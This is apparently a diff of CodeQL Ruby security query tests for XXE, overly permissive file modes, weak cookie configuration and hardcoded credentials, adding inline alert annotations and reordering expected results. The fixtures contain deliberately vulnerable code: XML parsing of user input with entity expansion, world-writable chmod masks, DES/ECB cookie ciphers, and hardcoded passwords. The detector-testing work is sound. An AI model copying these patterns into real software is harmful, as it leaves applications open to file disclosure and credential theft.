Nokogiri::XML::parse(content) { |x| x.nononet } #FAIL + Nokogiri::XML::parse(content) { |x| x.noent } # $ Alert + Nokogiri::XML::parse(content) { |x| x.nononet } #FAIL # $ Alert Nokogiri::XML::parse(content) { |x| x.nodtdload } # OK - Nokogiri::XML::parse(content) { |x| x.nonet.noent.nodtdload } + Nokogiri::XML::parse(content) { |x| x.nonet.noent.nodtdload } # $ Alert Nokogiri::XML::parse(content, nil, nil, 2048) # OK - Nokogiri::XML::parse(content, nil, nil, 3) + Nokogiri::XML::parse(content, nil, nil, 3) # $ Alert Nokogiri::XML::parse(content) { |x| x.nonet.nodtdload } # OK - Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT & ~Nokogiri::XML::ParseOptions::NOBLANKS) - Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET | Nokogiri::XML::ParseOptions::NOBLANKS) + Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT & ~Nokogiri::XML::ParseOptions::NOBLANKS) # $ Alert + Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET | Nokogiri::XML::ParseOptions::NOBLANKS) # $ Alert end diff --git a/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.expected b/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.expected index 44acc636b60..d6f2cdb6d2a 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.expected +++ b/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.expected @@ -1,3 +1,27 @@ +#select +| LibXmlRuby.rb:4:34:4:40 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:4:34:4:40 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | +| LibXmlRuby.rb:5:32:5:38 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:5:32:5:38 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | +| LibXmlRuby.rb:6:30:6:36 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:6:30:6:36 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | +| LibXmlRuby.rb:7:32:7:38 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:7:32:7:38 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | +| LibXmlRuby.rb:8:30:8:36 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:8:30:8:36 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | +| LibXmlRuby.rb:9:28:9:34 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:9:28:9:34 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | +| LibXmlRuby.rb:11:26:11:32 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:11:26:11:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | +| LibXmlRuby.rb:12:24:12:30 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:12:24:12:30 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:5:26:5:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:5:26:5:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:6:26:6:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:6:26:6:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:7:26:7:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:7:26:7:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:8:26:8:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:8:26:8:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:9:26:9:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:9:26:9:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:11:26:11:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:11:26:11:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:12:26:12:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:12:26:12:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:15:26:15:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:15:26:15:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:16:26:16:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:16:26:16:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:18:26:18:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:18:26:18:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:19:26:19:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:19:26:19:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:22:26:22:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:22:26:22:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:25:26:25:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:25:26:25:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:27:26:27:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:27:26:27:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | +| Nokogiri.rb:28:26:28:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:28:26:28:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | edges | LibXmlRuby.rb:3:5:3:11 | content | LibXmlRuby.rb:4:34:4:40 | content | provenance | | | LibXmlRuby.rb:3:5:3:11 | content | LibXmlRuby.rb:5:32:5:38 | content | provenance | | @@ -57,27 +81,3 @@ nodes | Nokogiri.rb:27:26:27:32 | content | semmle.label | content | | Nokogiri.rb:28:26:28:32 | content | semmle.label | content | subpaths -#select -| LibXmlRuby.rb:4:34:4:40 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:4:34:4:40 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | -| LibXmlRuby.rb:5:32:5:38 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:5:32:5:38 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | -| LibXmlRuby.rb:6:30:6:36 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:6:30:6:36 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | -| LibXmlRuby.rb:7:32:7:38 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:7:32:7:38 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | -| LibXmlRuby.rb:8:30:8:36 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:8:30:8:36 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | -| LibXmlRuby.rb:9:28:9:34 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:9:28:9:34 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | -| LibXmlRuby.rb:11:26:11:32 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:11:26:11:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | -| LibXmlRuby.rb:12:24:12:30 | content | LibXmlRuby.rb:3:15:3:20 | call to params | LibXmlRuby.rb:12:24:12:30 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlRuby.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:5:26:5:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:5:26:5:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:6:26:6:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:6:26:6:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:7:26:7:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:7:26:7:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:8:26:8:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:8:26:8:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:9:26:9:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:9:26:9:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:11:26:11:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:11:26:11:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:12:26:12:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:12:26:12:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:15:26:15:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:15:26:15:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:16:26:16:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:16:26:16:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:18:26:18:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:18:26:18:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:19:26:19:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:19:26:19:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:22:26:22:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:22:26:22:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:25:26:25:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:25:26:25:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:27:26:27:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:27:26:27:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | -| Nokogiri.rb:28:26:28:32 | content | Nokogiri.rb:3:15:3:20 | call to params | Nokogiri.rb:28:26:28:32 | content | XML parsing depends on a $@ without guarding against external entity expansion. | Nokogiri.rb:3:15:3:20 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref b/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref index 8ed653a4869..50d9b176008 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref +++ b/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref @@ -1 +1,2 @@ -queries/security/cwe-611/Xxe.ql +query: queries/security/cwe-611/Xxe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb b/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb index 305bdb2d147..00530836bb0 100644 --- a/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb +++ b/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb @@ -2,13 +2,13 @@ require "fileutils" def run_chmod_1(filename) # BAD: sets file as world writable - FileUtils.chmod 0222, filename + FileUtils.chmod 0222, filename # $ Alert[rb/overly-permissive-file] # BAD: sets file as world writable - FileUtils.chmod 0622, filename + FileUtils.chmod 0622, filename # $ Alert[rb/overly-permissive-file] # BAD: sets file as world readable - FileUtils.chmod 0755, filename + FileUtils.chmod 0755, filename # $ Alert[rb/overly-permissive-file] # BAD: sets file as world readable + writable - FileUtils.chmod 0777, filename + FileUtils.chmod 0777, filename # $ Alert[rb/overly-permissive-file] end module DummyModule @@ -25,7 +25,7 @@ def run_chmod_2(filename) baz.chmod 0755, filename baz = bar # BAD: sets file as world readable - baz.chmod 0755, filename + baz.chmod 0755, filename # $ Alert[rb/overly-permissive-file] end def run_chmod_3(filename) @@ -48,26 +48,26 @@ def run_chmod_4(filename) end def run_chmod_5(filename) - perm = 0777 + perm = 0777 # $ Alert[rb/overly-permissive-file] # BAD: sets world rwx - FileUtils.chmod perm, filename + FileUtils.chmod perm, filename # $ Sink[rb/overly-permissive-file] perm2 = perm # BAD: sets world rwx - FileUtils.chmod perm2, filename + FileUtils.chmod perm2, filename # $ Sink[rb/overly-permissive-file] - perm = "u=wrx,g=rwx,o=x" + perm = "u=wrx,g=rwx,o=x" # $ Alert[rb/overly-permissive-file] perm2 = perm # BAD: sets group rwx - FileUtils.chmod perm2, filename + FileUtils.chmod perm2, filename # $ Sink[rb/overly-permissive-file] # BAD: sets file as world readable - FileUtils.chmod "u=rwx,o+r", filename + FileUtils.chmod "u=rwx,o+r", filename # $ Alert[rb/overly-permissive-file] # GOOD: sets file as group/world unreadable FileUtils.chmod "u=rwx,go-r", filename # BAD: sets group/world as +rw - FileUtils.chmod "a+rw", filename + FileUtils.chmod "a+rw", filename # $ Alert[rb/overly-permissive-file] end def run_chmod_R(filename) # BAD: sets file as world readable - FileUtils.chmod_R 0755, filename + FileUtils.chmod_R 0755, filename # $ Alert[rb/overly-permissive-file] end diff --git a/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref b/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref index 7c8c5ca3c93..94f0b0dac3c 100644 --- a/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref +++ b/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref @@ -1 +1,2 @@ -queries/security/cwe-732/WeakCookieConfiguration.ql +query: queries/security/cwe-732/WeakCookieConfiguration.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.expected b/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.expected index 802e76f63a5..f56d7886c57 100644 --- a/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.expected +++ b/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.expected @@ -1,3 +1,15 @@ +#select +| FilePermissions.rb:5:19:5:22 | 0222 | FilePermissions.rb:5:19:5:22 | 0222 | FilePermissions.rb:5:19:5:22 | 0222 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:5:3:5:32 | call to chmod | call to chmod | +| FilePermissions.rb:7:19:7:22 | 0622 | FilePermissions.rb:7:19:7:22 | 0622 | FilePermissions.rb:7:19:7:22 | 0622 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:7:3:7:32 | call to chmod | call to chmod | +| FilePermissions.rb:9:19:9:22 | 0755 | FilePermissions.rb:9:19:9:22 | 0755 | FilePermissions.rb:9:19:9:22 | 0755 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:9:3:9:32 | call to chmod | call to chmod | +| FilePermissions.rb:11:19:11:22 | 0777 | FilePermissions.rb:11:19:11:22 | 0777 | FilePermissions.rb:11:19:11:22 | 0777 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:11:3:11:32 | call to chmod | call to chmod | +| FilePermissions.rb:28:13:28:16 | 0755 | FilePermissions.rb:28:13:28:16 | 0755 | FilePermissions.rb:28:13:28:16 | 0755 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:28:3:28:26 | call to chmod | call to chmod | +| FilePermissions.rb:51:10:51:13 | 0777 | FilePermissions.rb:51:10:51:13 | 0777 : Integer | FilePermissions.rb:53:19:53:22 | perm | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:53:3:53:32 | call to chmod | call to chmod | +| FilePermissions.rb:51:10:51:13 | 0777 | FilePermissions.rb:51:10:51:13 | 0777 : Integer | FilePermissions.rb:56:19:56:23 | perm2 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:56:3:56:33 | call to chmod | call to chmod | +| FilePermissions.rb:58:10:58:26 | "u=wrx,g=rwx,o=x" | FilePermissions.rb:58:10:58:26 | "u=wrx,g=rwx,o=x" : String | FilePermissions.rb:61:19:61:23 | perm2 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:61:3:61:33 | call to chmod | call to chmod | +| FilePermissions.rb:63:19:63:29 | "u=rwx,o+r" | FilePermissions.rb:63:19:63:29 | "u=rwx,o+r" | FilePermissions.rb:63:19:63:29 | "u=rwx,o+r" | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:63:3:63:39 | call to chmod | call to chmod | +| FilePermissions.rb:67:19:67:24 | "a+rw" | FilePermissions.rb:67:19:67:24 | "a+rw" | FilePermissions.rb:67:19:67:24 | "a+rw" | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:67:3:67:34 | call to chmod | call to chmod | +| FilePermissions.rb:72:21:72:24 | 0755 | FilePermissions.rb:72:21:72:24 | 0755 | FilePermissions.rb:72:21:72:24 | 0755 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:72:3:72:34 | call to chmod_R | call to chmod_R | edges | FilePermissions.rb:51:3:51:6 | perm : Integer | FilePermissions.rb:53:19:53:22 | perm | provenance | | | FilePermissions.rb:51:3:51:6 | perm : Integer | FilePermissions.rb:54:3:54:7 | perm2 : Integer | provenance | | @@ -25,15 +37,3 @@ nodes | FilePermissions.rb:67:19:67:24 | "a+rw" | semmle.label | "a+rw" | | FilePermissions.rb:72:21:72:24 | 0755 | semmle.label | 0755 | subpaths -#select -| FilePermissions.rb:5:19:5:22 | 0222 | FilePermissions.rb:5:19:5:22 | 0222 | FilePermissions.rb:5:19:5:22 | 0222 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:5:3:5:32 | call to chmod | call to chmod | -| FilePermissions.rb:7:19:7:22 | 0622 | FilePermissions.rb:7:19:7:22 | 0622 | FilePermissions.rb:7:19:7:22 | 0622 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:7:3:7:32 | call to chmod | call to chmod | -| FilePermissions.rb:9:19:9:22 | 0755 | FilePermissions.rb:9:19:9:22 | 0755 | FilePermissions.rb:9:19:9:22 | 0755 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:9:3:9:32 | call to chmod | call to chmod | -| FilePermissions.rb:11:19:11:22 | 0777 | FilePermissions.rb:11:19:11:22 | 0777 | FilePermissions.rb:11:19:11:22 | 0777 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:11:3:11:32 | call to chmod | call to chmod | -| FilePermissions.rb:28:13:28:16 | 0755 | FilePermissions.rb:28:13:28:16 | 0755 | FilePermissions.rb:28:13:28:16 | 0755 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:28:3:28:26 | call to chmod | call to chmod | -| FilePermissions.rb:51:10:51:13 | 0777 | FilePermissions.rb:51:10:51:13 | 0777 : Integer | FilePermissions.rb:53:19:53:22 | perm | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:53:3:53:32 | call to chmod | call to chmod | -| FilePermissions.rb:51:10:51:13 | 0777 | FilePermissions.rb:51:10:51:13 | 0777 : Integer | FilePermissions.rb:56:19:56:23 | perm2 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:56:3:56:33 | call to chmod | call to chmod | -| FilePermissions.rb:58:10:58:26 | "u=wrx,g=rwx,o=x" | FilePermissions.rb:58:10:58:26 | "u=wrx,g=rwx,o=x" : String | FilePermissions.rb:61:19:61:23 | perm2 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:61:3:61:33 | call to chmod | call to chmod | -| FilePermissions.rb:63:19:63:29 | "u=rwx,o+r" | FilePermissions.rb:63:19:63:29 | "u=rwx,o+r" | FilePermissions.rb:63:19:63:29 | "u=rwx,o+r" | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:63:3:63:39 | call to chmod | call to chmod | -| FilePermissions.rb:67:19:67:24 | "a+rw" | FilePermissions.rb:67:19:67:24 | "a+rw" | FilePermissions.rb:67:19:67:24 | "a+rw" | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:67:3:67:34 | call to chmod | call to chmod | -| FilePermissions.rb:72:21:72:24 | 0755 | FilePermissions.rb:72:21:72:24 | 0755 | FilePermissions.rb:72:21:72:24 | 0755 | This overly permissive mask used in $@ allows read or write access to others. | FilePermissions.rb:72:3:72:34 | call to chmod_R | call to chmod_R | diff --git a/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref b/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref index bf19b31509d..baceccada54 100644 --- a/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref +++ b/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref @@ -1 +1,2 @@ -queries/security/cwe-732/WeakFilePermissions.ql +query: queries/security/cwe-732/WeakFilePermissions.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb b/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb index 5b5604f4d78..e6993033b22 100644 --- a/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb +++ b/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb @@ -11,16 +11,16 @@ module App config.action_dispatch.encrypted_cookie_cipher = "ChaCha" # BAD: weak block encryption algorithm - config.action_dispatch.encrypted_cookie_cipher = "DES" + config.action_dispatch.encrypted_cookie_cipher = "DES" # $ Alert[rb/weak-cookie-configuration] # BAD: weak block encryption mode - config.action_dispatch.encrypted_cookie_cipher = "AES-256-ECB" + config.action_dispatch.encrypted_cookie_cipher = "AES-256-ECB" # $ Alert[rb/weak-cookie-configuration] # GOOD config.action_dispatch.use_authenticated_cookie_encryption = true # BAD: less secure block encryption mode - config.action_dispatch.use_authenticated_cookie_encryption = false + config.action_dispatch.use_authenticated_cookie_encryption = false # $ Alert[rb/weak-cookie-configuration] # GOOD config.action_dispatch.cookies_same_site_protection = :lax @@ -29,9 +29,9 @@ module App config.action_dispatch.cookies_same_site_protection = "strict" # BAD: disabling same-site protections for sending cookies - config.action_dispatch.cookies_same_site_protection = :none + config.action_dispatch.cookies_same_site_protection = :none # $ Alert[rb/weak-cookie-configuration] # BAD: not all browsers default to `lax` if unset - config.action_dispatch.cookies_same_site_protection = nil + config.action_dispatch.cookies_same_site_protection = nil # $ Alert[rb/weak-cookie-configuration] end end diff --git a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.expected b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.expected index a3f4ecb3ae9..4f03b055ad1 100644 --- a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.expected +++ b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.expected @@ -1,3 +1,15 @@ +#select +| HardcodedCredentials.rb:4:20:4:65 | "xwjVWdfzfRlbcgKkbSfG/xSrUeHYq..." | HardcodedCredentials.rb:4:20:4:65 | "xwjVWdfzfRlbcgKkbSfG/xSrUeHYq..." | HardcodedCredentials.rb:4:20:4:65 | "xwjVWdfzfRlbcgKkbSfG/xSrUeHYq..." | This hardcoded value is $@. | HardcodedCredentials.rb:4:20:4:65 | "xwjVWdfzfRlbcgKkbSfG/xSrUeHYq..." | used as credentials | +| HardcodedCredentials.rb:8:30:8:75 | "X6BLgRWSAtAWG/GaHS+WGGW2K7zZF..." | HardcodedCredentials.rb:8:30:8:75 | "X6BLgRWSAtAWG/GaHS+WGGW2K7zZF..." | HardcodedCredentials.rb:8:30:8:75 | "X6BLgRWSAtAWG/GaHS+WGGW2K7zZF..." | This hardcoded value is $@. | HardcodedCredentials.rb:8:30:8:75 | "X6BLgRWSAtAWG/GaHS+WGGW2K7zZF..." | used as credentials | +| HardcodedCredentials.rb:12:19:12:64 | "4NQX/CqB5Ae98zFUmwj1DMpF7azsh..." | HardcodedCredentials.rb:12:19:12:64 | "4NQX/CqB5Ae98zFUmwj1DMpF7azsh..." : String | HardcodedCredentials.rb:1:23:1:30 | password | This hardcoded value is $@. | HardcodedCredentials.rb:1:23:1:30 | password | used as credentials | +| HardcodedCredentials.rb:15:30:15:75 | "WLC17dLQ9P8YlQvqm77qplOMm5pd1..." | HardcodedCredentials.rb:15:30:15:75 | "WLC17dLQ9P8YlQvqm77qplOMm5pd1..." | HardcodedCredentials.rb:15:30:15:75 | "WLC17dLQ9P8YlQvqm77qplOMm5pd1..." | This hardcoded value is $@. | HardcodedCredentials.rb:15:30:15:75 | "WLC17dLQ9P8YlQvqm77qplOMm5pd1..." | used as credentials | +| HardcodedCredentials.rb:15:30:15:75 | "WLC17dLQ9P8YlQvqm77qplOMm5pd1..." | HardcodedCredentials.rb:15:30:15:75 | "WLC17dLQ9P8YlQvqm77qplOMm5pd1..." : String | HardcodedCredentials.rb:1:33:1:36 | cert | This hardcoded value is $@. | HardcodedCredentials.rb:1:33:1:36 | cert | used as credentials | +| HardcodedCredentials.rb:18:27:18:72 | "ogH6qSYWGdbR/2WOGYa7eZ/tObL+G..." | HardcodedCredentials.rb:18:27:18:72 | "ogH6qSYWGdbR/2WOGYa7eZ/tObL+G..." : String | HardcodedCredentials.rb:1:23:1:30 | password | This hardcoded value is $@. | HardcodedCredentials.rb:1:23:1:30 | password | used as credentials | +| HardcodedCredentials.rb:20:11:20:76 | "3jOe7sXKX6Tx52qHWUVqh2t9LNsE+..." | HardcodedCredentials.rb:20:11:20:76 | "3jOe7sXKX6Tx52qHWUVqh2t9LNsE+..." : String | HardcodedCredentials.rb:1:23:1:30 | password | This hardcoded value is $@. | HardcodedCredentials.rb:1:23:1:30 | password | used as credentials | +| HardcodedCredentials.rb:21:12:21:37 | "4fQuzXef4f2yow8KWvIJTA==" | HardcodedCredentials.rb:21:12:21:37 | "4fQuzXef4f2yow8KWvIJTA==" : String | HardcodedCredentials.rb:1:23:1:30 | password | This hardcoded value is $@. | HardcodedCredentials.rb:1:23:1:30 | password | used as credentials | +| HardcodedCredentials.rb:38:40:38:85 | "kdW/xVhiv6y1fQQNevDpUaq+2rfPK..." | HardcodedCredentials.rb:38:40:38:85 | "kdW/xVhiv6y1fQQNevDpUaq+2rfPK..." : String | HardcodedCredentials.rb:31:18:31:23 | passwd | This hardcoded value is $@. | HardcodedCredentials.rb:31:18:31:23 | passwd | used as credentials | +| HardcodedCredentials.rb:43:29:43:43 | "user@test.com" | HardcodedCredentials.rb:43:29:43:43 | "user@test.com" : String | HardcodedCredentials.rb:43:18:43:25 | username | This hardcoded value is $@. | HardcodedCredentials.rb:43:18:43:25 | username | used as credentials | +| HardcodedCredentials.rb:43:57:43:70 | "abcdef123456" | HardcodedCredentials.rb:43:57:43:70 | "abcdef123456" : String | HardcodedCredentials.rb:43:46:43:53 | password | This hardcoded value is $@. | 